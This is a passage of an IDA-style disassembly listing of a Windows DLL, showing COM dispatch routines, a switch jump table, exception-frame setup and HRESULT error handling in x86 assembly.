mov eax, [eax+8]
mov ax, [eax]
jmp short loc_69B56DFC
; ---------------------------------------------------------------------------
loc_69B56DF8: ; CODE XREF: sub_69B56912+4DCj
movsx eax, word ptr [eax+8]
loc_69B56DFC: ; CODE XREF: sub_69B56912+4E4j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+120h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E0E: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov esi, [ebp+arg_8] ; jumptable 69B56C7D case 68
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+124h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E2B: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov esi, [ebp+arg_8] ; jumptable 69B56C7D case 69
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+128h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E48: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov esi, [ebp+arg_8] ; jumptable 69B56C7D case 70
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+12Ch]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E65: ; CODE XREF: sub_69B56912+359j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+130h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E7D: ; CODE XREF: sub_69B56912+353j
sub eax, 0CAh
jz short loc_69B56EFA
dec eax
jz short loc_69B56EE5
dec eax
jz short loc_69B56EB7
dec eax
jz short loc_69B56E97
loc_69B56E8D: ; CODE XREF: sub_69B56912+4Ej
; sub_69B56912+110j ...
mov eax, 80020003h ; default
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56E97: ; CODE XREF: sub_69B56912+579j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B56EA5
mov eax, [eax]
loc_69B56EA5: ; CODE XREF: sub_69B56912+58Fj
push [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+144h]
jmp short loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56EB7: ; CODE XREF: sub_69B56912+576j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56EC7
mov ecx, [eax+8]
mov edx, [ecx]
jmp short loc_69B56ECA
; ---------------------------------------------------------------------------
loc_69B56EC7: ; CODE XREF: sub_69B56912+5ACj
mov edx, [eax+8]
loc_69B56ECA: ; CODE XREF: sub_69B56912+5B3j
mov ecx, [ebp+arg_0]
mov ebx, [ecx]
sub esp, 10h
mov edi, esp
lea esi, [eax+18h]
movsd
movsd
movsd
push edx
push ecx
movsd
call dword ptr [ebx+140h]
jmp short loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56EE5: ; CODE XREF: sub_69B56912+573j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+13Ch]
jmp short loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56EFA: ; CODE XREF: sub_69B56912+570j
cmp [ebp+arg_C], 2
mov eax, [ebp+arg_0]
mov ecx, [eax]
jnz short loc_69B56F12
push [ebp+arg_10]
push eax
call dword ptr [ecx+134h]
jmp short loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56F12: ; CODE XREF: sub_69B56912+5F2j
mov esi, [ebp+arg_8]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+138h]
loc_69B56F25: ; CODE XREF: sub_69B56912+6Ej
; sub_69B56912+8Ej ...
pop edi
pop esi
pop ebx
pop ebp
retn 18h
sub_69B56912 endp
; ---------------------------------------------------------------------------
off_69B56F2C dd offset loc_69B56C84 ; DATA XREF: sub_69B56912+36Br
dd offset loc_69B56C9C ; jump table for switch statement
dd offset loc_69B56CE2
dd offset loc_69B56CF3
dd offset loc_69B56D1F
dd offset loc_69B56D3C
dd offset loc_69B56D82
dd offset loc_69B56DC8
dd offset loc_69B56E0E
dd offset loc_69B56E2B
dd offset loc_69B56E48
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B56F58 proc near ; DATA XREF: .text:69B28E04o
var_4 = dword ptr -4
arg_4 = byte ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
call dword_69B92948
test eax, eax
mov [ebp+var_4], eax
jnz short loc_69B56F70
mov eax, 80004005h
jmp short locret_69B56FD1
; ---------------------------------------------------------------------------
loc_69B56F70: ; CODE XREF: sub_69B56F58+Fj
push ebx
push esi
xor ebx, ebx
mov bl, [ebp+arg_8]
push edi
mov esi, 409h
lea eax, [ebp+arg_4]
and ebx, 0FFFFFF01h
push ebx
push [ebp+arg_C]
push esi
push 21h
push offset off_69B996A8
push 1
push eax
call sub_69B2CA1A
mov edi, eax
cmp edi, 80020006h
jnz short loc_69B56FC3
movzx eax, byte_69B98AD0
push ebx
push [ebp+arg_C]
push esi
push eax
push offset off_69B986D0
push 1
lea eax, [ebp+arg_4]
push eax
call sub_69B2CA1A
mov edi, eax
loc_69B56FC3: ; CODE XREF: sub_69B56F58+4Aj
push [ebp+var_4]
call dword_69B92944
mov eax, edi
pop edi
pop esi
pop ebx
locret_69B56FD1: ; CODE XREF: sub_69B56F58+16j
leave
retn 10h
sub_69B56F58 endp
; =============== S U B R O U T I N E =======================================
sub_69B56FD5 proc near ; CODE XREF: sub_69B57908+B6p
push esi
push edi
mov edi, eax
mov esi, ecx
jmp short loc_69B56FF6
; ---------------------------------------------------------------------------
loc_69B56FDD: ; CODE XREF: sub_69B56FD5+27j
cmp word ptr [edi], 0
jz short loc_69B56FFE
movzx eax, ax
push eax
call ds:SHLWAPI_38
cmp ax, [edi]
jnz short loc_69B5700D
inc esi
inc esi
inc edi
inc edi
loc_69B56FF6: ; CODE XREF: sub_69B56FD5+6j
mov ax, [esi]
test ax, ax
jnz short loc_69B56FDD
loc_69B56FFE: ; CODE XREF: sub_69B56FD5+Cj
mov ax, [esi]
sub ax, [edi]
neg ax
sbb eax, eax
inc eax
loc_69B5700A: ; CODE XREF: sub_69B56FD5+3Aj
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B5700D: ; CODE XREF: sub_69B56FD5+1Bj
xor al, al
jmp short loc_69B5700A
sub_69B56FD5 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B57011(LPCWSTR lpString)
sub_69B57011 proc near ; CODE XREF: sub_69B589EC+7Cp
; sub_69B58ACC+7Cp ...
lpString = dword ptr 4
push 0
push [esp+4+lpString] ; lpString
call sub_69B1A587
push eax
push 0C00CE22Ch
push 80004005h
call sub_69B2E8CC
add esp, 10h
push eax
call sub_69B2E818
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
retn 4
sub_69B57011 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5704A(VARIANTARG *pvarg)
sub_69B5704A proc near ; CODE XREF: sub_69B5911C+76p
pvarg = dword ptr 4
push dword ptr [ecx+0E4h] ; int
push [esp+4+pvarg] ; pvarg
call sub_69B8A5D5
retn 4
sub_69B5704A endp
; =============== S U B R O U T I N E =======================================
sub_69B5705C proc near ; CODE XREF: sub_69B57504+5Ap
; sub_69B5757D+5Cp ...
push 10h
push offset dword_69B570D0
call sub_69B19C5C
xor edi, edi
mov [ebp-4], edi
push edi ; int
push edi ; int
push dword ptr [ebp+0Ch] ; lpString
push dword ptr [ebp+8] ; int
call sub_69B3E5A2
mov esi, eax
mov [ebp-1Ch], esi
cmp [ebp+10h], edi
jz short loc_69B5708F
push edi ; int
push dword ptr [ebp+10h] ; lpString
mov ecx, esi
call sub_69B4CD61
loc_69B5708F: ; CODE XREF: sub_69B5705C+26j
mov eax, [esi]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push esi
call dword ptr [eax]
mov [ebp-20h], eax
jmp short loc_69B570BD
; ---------------------------------------------------------------------------
loc_69B5709F: ; DATA XREF: .text:69B570D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B570A8: ; DATA XREF: .text:69B570D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B570BD: ; CODE XREF: sub_69B5705C+41j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 14h
sub_69B5705C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B570D0 dd 0FFFFFFFFh dd offset loc_69B5709F
dd offset loc_69B570A8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B570DC proc near ; CODE XREF: .text:69B5989Fj
; .text:69B598B0j ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B570F6
mov eax, 80004005h
jmp short loc_69B57131
; ---------------------------------------------------------------------------
loc_69B570F6: ; CODE XREF: sub_69B570DC+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_C]
push edi
call sub_69B1B406
push [ebp+arg_8]
mov ecx, [esi+38h]
push [ebp+arg_4]
lea eax, [esi+1Ch]
push 0
push 0
push eax
push esi
call sub_69B1C04C
lea ecx, [ebp+var_C]
mov esi, eax
call sub_69B1976C
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B57131: ; CODE XREF: sub_69B570DC+18j
pop edi
leave
retn 0Ch
sub_69B570DC endp
; =============== S U B R O U T I N E =======================================
sub_69B57136 proc near ; CODE XREF: sub_69B598BC+5j
; DATA XREF: .text:69B28EB0o
push 28h
push offset dword_69B571E0
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B57158
mov eax, 80004005h
jmp short loc_69B571D7
; ---------------------------------------------------------------------------
loc_69B57158: ; CODE XREF: sub_69B57136+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov edi, [ebp+10h]
cmp edi, ebx
jnz short loc_69B57175
mov ebx, 80070057h
jmp short loc_69B571C4
; ---------------------------------------------------------------------------
loc_69B57175: ; CODE XREF: sub_69B57136+36j
mov [ebp-4], ebx
mov ecx, [esi+18h]
mov [ebp-30h], ecx
mov eax, [ecx]
cmp word ptr [ebp+0Ch], 0FFFFh
setz dl
push edx
call dword ptr [eax+3Ch]
mov [ebp-34h], eax
mov eax, [eax+4Ch]
mov [ebp-38h], eax
mov ecx, eax
call sub_69B48B01
mov [edi], eax
jmp short loc_69B571C0
; ---------------------------------------------------------------------------
loc_69B571A0: ; DATA XREF: .text:69B571E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B571A9: ; DATA XREF: .text:69B571E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov ebx, eax
loc_69B571C0: ; CODE XREF: sub_69B57136+68j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B571C4: ; CODE XREF: sub_69B57136+3Dj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, ebx
loc_69B571D7: ; CODE XREF: sub_69B57136+20j
call sub_69B1853C
retn 0Ch
sub_69B57136 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B571E0 dd 0FFFFFFFFh dd offset loc_69B571A0
dd offset loc_69B571A9
; =============== S U B R O U T I N E =======================================
sub_69B571EC proc near ; DATA XREF: .text:69B28EFCo
push 2Ch
push offset dword_69B572B8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B57211
mov eax, 80004005h
jmp loc_69B572AC
; ---------------------------------------------------------------------------
loc_69B57211: ; CODE XREF: sub_69B571EC+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov ebx, [ebp+0Ch]
cmp ebx, edi
jnz short loc_69B5723F
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, 80070057h
jmp short loc_69B572AC
; ---------------------------------------------------------------------------
loc_69B5723F: ; CODE XREF: sub_69B571EC+39j
mov [ebx], edi
mov [ebp-4], edi
mov ecx, [esi+38h]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
push edi
push 4
push edi
call sub_69B49C1F
mov [ebp-38h], eax
cmp eax, edi
jz short loc_69B5726A
mov ecx, [eax]
push ebx
push offset dword_69B25D84
push eax
call dword ptr [ecx]
jmp short loc_69B57291
; ---------------------------------------------------------------------------
loc_69B5726A: ; CODE XREF: sub_69B571EC+6Fj
mov dword ptr [ebp-3Ch], 1
jmp short loc_69B57294
; ---------------------------------------------------------------------------
loc_69B57273: ; DATA XREF: .text:69B572BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5727C: ; DATA XREF: .text:69B572C0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B57291: ; CODE XREF: sub_69B571EC+7Cj
mov [ebp-3Ch], eax
loc_69B57294: ; CODE XREF: sub_69B571EC+85j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B572AC: ; CODE XREF: sub_69B571EC+20j
; sub_69B571EC+51j
call sub_69B1853C
retn 8
sub_69B571EC endp
; ---------------------------------------------------------------------------
align 8
dword_69B572B8 dd 0FFFFFFFFh dd offset loc_69B57273
dd offset loc_69B5727C
; =============== S U B R O U T I N E =======================================
sub_69B572C4 proc near ; DATA XREF: .text:69B28F00o
push 24h
push offset dword_69B57368
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B572E4
mov eax, 80004005h
jmp short loc_69B5735E
; ---------------------------------------------------------------------------
loc_69B572E4: ; CODE XREF: sub_69B572C4+17j
mov ecx, [ebp+8]
push dword ptr [ecx+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov esi, [ebp+0Ch]
test esi, esi
jnz short loc_69B57301
mov esi, 80070057h
jmp short loc_69B5734B
; ---------------------------------------------------------------------------
loc_69B57301: ; CODE XREF: sub_69B572C4+34j
and dword ptr [ebp-4], 0
push 1Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B5731C
call sub_69B5A06D
jmp short loc_69B5731E
; ---------------------------------------------------------------------------
loc_69B5731C: ; CODE XREF: sub_69B572C4+4Fj
xor eax, eax
loc_69B5731E: ; CODE XREF: sub_69B572C4+56j
mov [esi], eax
xor esi, esi
mov [ebp-34h], esi
jmp short loc_69B57347
; ---------------------------------------------------------------------------
loc_69B57327: ; DATA XREF: .text:69B5736Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B57330: ; DATA XREF: .text:69B57370o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B57347: ; CODE XREF: sub_69B572C4+61j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5734B: ; CODE XREF: sub_69B572C4+3Bj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B5735E: ; CODE XREF: sub_69B572C4+1Ej
call sub_69B1853C
retn 8
sub_69B572C4 endp
; ---------------------------------------------------------------------------
align 4
dword_69B57368 dd 0FFFFFFFFh dd offset loc_69B57327
dd offset loc_69B57330
; =============== S U B R O U T I N E =======================================
sub_69B57374 proc near ; DATA XREF: .text:69B28F08o
push 2Ch
push offset dword_69B57438
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B573B4
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
lea ecx, [ebp-30h]
call sub_69B43E1C
cmp [ebp-2Ch], bl
jnz short loc_69B573BB
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B573B4: ; CODE XREF: sub_69B57374+1Bj
mov eax, 80004005h
jmp short loc_69B5742E
; ---------------------------------------------------------------------------
loc_69B573BB: ; CODE XREF: sub_69B57374+2Fj
cmp [ebp+0Ch], ebx
jnz short loc_69B573C9
mov dword ptr [ebp-34h], 80070057h
jmp short loc_69B5741A
; ---------------------------------------------------------------------------
loc_69B573C9: ; CODE XREF: sub_69B57374+4Aj
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov [ebp-38h], eax
cmp eax, ebx
jz short loc_69B573EC
mov ecx, [esi+18h]
mov [ebp-3Ch], ecx
push eax
call sub_69B3D6D2
mov [ebp-34h], ebx
jmp short loc_69B57416
; ---------------------------------------------------------------------------
loc_69B573EC: ; CODE XREF: sub_69B57374+65j
mov dword ptr [ebp-34h], 80070057h
jmp short loc_69B57416
; ---------------------------------------------------------------------------
loc_69B573F5: ; DATA XREF: .text:69B5743Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B573FE: ; DATA XREF: .text:69B57440o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B57416: ; CODE XREF: sub_69B57374+76j
; sub_69B57374+7Fj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5741A: ; CODE XREF: sub_69B57374+53j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B5742E: ; CODE XREF: sub_69B57374+45j
call sub_69B1853C
retn 8
sub_69B57374 endp
; ---------------------------------------------------------------------------
align 4
dword_69B57438 dd 0FFFFFFFFh dd offset loc_69B573F5
dd offset loc_69B573FE
; =============== S U B R O U T I N E =======================================
sub_69B57444 proc near ; DATA XREF: .text:69B28F04o
push 2Ch
push offset dword_69B574F8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B57469
mov eax, 80004005h
jmp loc_69B574E9
; ---------------------------------------------------------------------------
loc_69B57469: ; CODE XREF: sub_69B57444+19j
mov esi, [ebp+8]
push dword ptr [esi+18h]
push eax
lea ecx, [ebp-2Ch]
call sub_69B18B3B
mov [ebp-4], edi
mov ecx, [esi+38h]
mov [ebp-30h], ecx
mov [ebp-34h], ecx
push edi
push edi
push edi
call sub_69B49C1F
mov [ebp-38h], eax
cmp eax, edi
jz short loc_69B574A2
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push offset dword_69B25DD4
push eax
call dword ptr [ecx]
jmp short loc_69B574CE
; ---------------------------------------------------------------------------
loc_69B574A2: ; CODE XREF: sub_69B57444+4Dj
mov eax, [ebp+0Ch]
mov [eax], edi
mov dword ptr [ebp-3Ch], 1
jmp short loc_69B574D1
; ---------------------------------------------------------------------------
loc_69B574B0: ; DATA XREF: .text:69B574FCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B574B9: ; DATA XREF: .text:69B57500o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B574CE: ; CODE XREF: sub_69B57444+5Cj
mov [ebp-3Ch], eax
loc_69B574D1: ; CODE XREF: sub_69B57444+6Aj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B574E9: ; CODE XREF: sub_69B57444+20j
call sub_69B1853C
retn 8
sub_69B57444 endp
; ---------------------------------------------------------------------------
align 8
dword_69B574F8 dd 0FFFFFFFFh dd offset loc_69B574B0
dd offset loc_69B574B9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B57504 proc near ; DATA XREF: .text:69B28F0Co
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push edi
call dword_69B92948
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B57521
mov eax, 80004005h
jmp short loc_69B57577
; ---------------------------------------------------------------------------
loc_69B57521: ; CODE XREF: sub_69B57504+14j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_14]
push edi
call sub_69B43E1C
cmp [ebp+var_10], bl
jnz short loc_69B5753D
mov esi, 80004005h
jmp short loc_69B57565
; ---------------------------------------------------------------------------
loc_69B5753D: ; CODE XREF: sub_69B57504+30j
cmp [ebp+arg_8], ebx
jnz short loc_69B57549
loc_69B57542: ; CODE XREF: sub_69B57504+48j
mov esi, 80070057h
jmp short loc_69B57565
; ---------------------------------------------------------------------------
loc_69B57549: ; CODE XREF: sub_69B57504+3Cj
cmp [ebp+arg_4], ebx
jz short loc_69B57542
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25DD4
push ebx
push [ebp+arg_4]
push ebx
call sub_69B5705C
mov esi, eax
loc_69B57565: ; CODE XREF: sub_69B57504+37j
; sub_69B57504+43j
lea ecx, [ebp+var_14]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B57577: ; CODE XREF: sub_69B57504+1Bj
pop edi
pop ebx
leave
retn 0Ch
sub_69B57504 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5757D proc near ; DATA XREF: .text:69B28F24o
var_14 = byte ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B57597
mov eax, 80004005h
jmp short loc_69B575F2
; ---------------------------------------------------------------------------
loc_69B57597: ; CODE XREF: sub_69B5757D+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_14]
push edi
call sub_69B43E1C
cmp [ebp+var_10], 0
jnz short loc_69B575B4
mov esi, 80004005h
jmp short loc_69B575E0
; ---------------------------------------------------------------------------
loc_69B575B4: ; CODE XREF: sub_69B5757D+2Ej
cmp [ebp+arg_8], 0
jnz short loc_69B575C1
loc_69B575BA: ; CODE XREF: sub_69B5757D+48j
mov esi, 80070057h
jmp short loc_69B575E0
; ---------------------------------------------------------------------------
loc_69B575C1: ; CODE XREF: sub_69B5757D+3Bj
cmp [ebp+arg_4], 0
jz short loc_69B575BA
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25DE4
push 0
push [ebp+arg_4]
push 0Fh
call sub_69B5705C
mov esi, eax
loc_69B575E0: ; CODE XREF: sub_69B5757D+35j
; sub_69B5757D+42j
lea ecx, [ebp+var_14]
call sub_69B4637D
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B575F2: ; CODE XREF: sub_69B5757D+18j
pop edi
leave
retn 0Ch
sub_69B5757D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B575F7 proc near ; DATA XREF: .text:69B28F10o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B57611
mov eax, 80004005h
jmp short loc_69B57658
; ---------------------------------------------------------------------------
loc_69B57611: ; CODE XREF: sub_69B575F7+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
cmp [ebp+arg_4], 0
jnz short loc_69B5762E
mov esi, 80070057h
jmp short loc_69B57646
; ---------------------------------------------------------------------------
loc_69B5762E: ; CODE XREF: sub_69B575F7+2Ej
push [ebp+arg_4]
mov ecx, [esi+18h]
push offset dword_69B25E44
push 0
push 0
push 11h
call sub_69B5705C
mov esi, eax
loc_69B57646: ; CODE XREF: sub_69B575F7+35j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B57658: ; CODE XREF: sub_69B575F7+18j
pop edi
leave
retn 8
sub_69B575F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5765D proc near ; DATA XREF: .text:69B28F14o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B57677
mov eax, 80004005h
jmp short loc_69B576BF
; ---------------------------------------------------------------------------
loc_69B57677: ; CODE XREF: sub_69B5765D+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
cmp [ebp+arg_8], 0
jnz short loc_69B57694
mov esi, 80070057h
jmp short loc_69B576AD
; ---------------------------------------------------------------------------
loc_69B57694: ; CODE XREF: sub_69B5765D+2Ej
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25DC4
push [ebp+arg_4]
push 0
push 1
call sub_69B5705C
mov esi, eax
loc_69B576AD: ; CODE XREF: sub_69B5765D+35j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B576BF: ; CODE XREF: sub_69B5765D+18j
pop edi
leave
retn 0Ch
sub_69B5765D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B576C4 proc near ; DATA XREF: .text:69B28F18o
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B576DE
mov eax, 80004005h
jmp short loc_69B57726
; ---------------------------------------------------------------------------
loc_69B576DE: ; CODE XREF: sub_69B576C4+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
cmp [ebp+arg_8], 0
jnz short loc_69B576FB
mov esi, 80070057h
jmp short loc_69B57714
; ---------------------------------------------------------------------------
loc_69B576FB: ; CODE XREF: sub_69B576C4+2Ej
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25DB4
push [ebp+arg_4]
push 0
push 2
call sub_69B5705C
mov esi, eax
loc_69B57714: ; CODE XREF: sub_69B576C4+35j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B57726: ; CODE XREF: sub_69B576C4+18j
pop edi
leave
retn 0Ch
sub_69B576C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5772B proc near ; DATA XREF: .text:69B28F1Co
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B57745
mov eax, 80004005h
jmp short loc_69B5778D
; ---------------------------------------------------------------------------
loc_69B57745: ; CODE XREF: sub_69B5772B+11j
push esi
mov esi, [ebp+arg_0]
push dword ptr [esi+18h]
lea ecx, [ebp+var_10]
push edi
call sub_69B18B3B
cmp [ebp+arg_8], 0
jnz short loc_69B57762
mov esi, 80070057h
jmp short loc_69B5777B
; ---------------------------------------------------------------------------
loc_69B57762: ; CODE XREF: sub_69B5772B+2Ej
push [ebp+arg_8]
mov ecx, [esi+18h]
push offset dword_69B25D94
push [ebp+arg_4]
push 0
push 6
call sub_69B5705C
mov esi, eax
loc_69B5777B: ; CODE XREF: sub_69B5772B+35j
lea ecx, [ebp+var_10]
call sub_69B18EBA
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B5778D: ; CODE XREF: sub_69B5772B+18j
pop edi
leave
retn 0Ch
sub_69B5772B endp
; =============== S U B R O U T I N E =======================================
sub_69B57792 proc near ; DATA XREF: .text:69B28F20o
push 30h
push offset dword_69B57888
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B577B9
mov eax, 80004005h
jmp loc_69B5787C
; ---------------------------------------------------------------------------
loc_69B577B9: ; CODE XREF: sub_69B57792+1Bj
mov esi, [ebp+8]
push dword ptr [esi+18h]
push edi
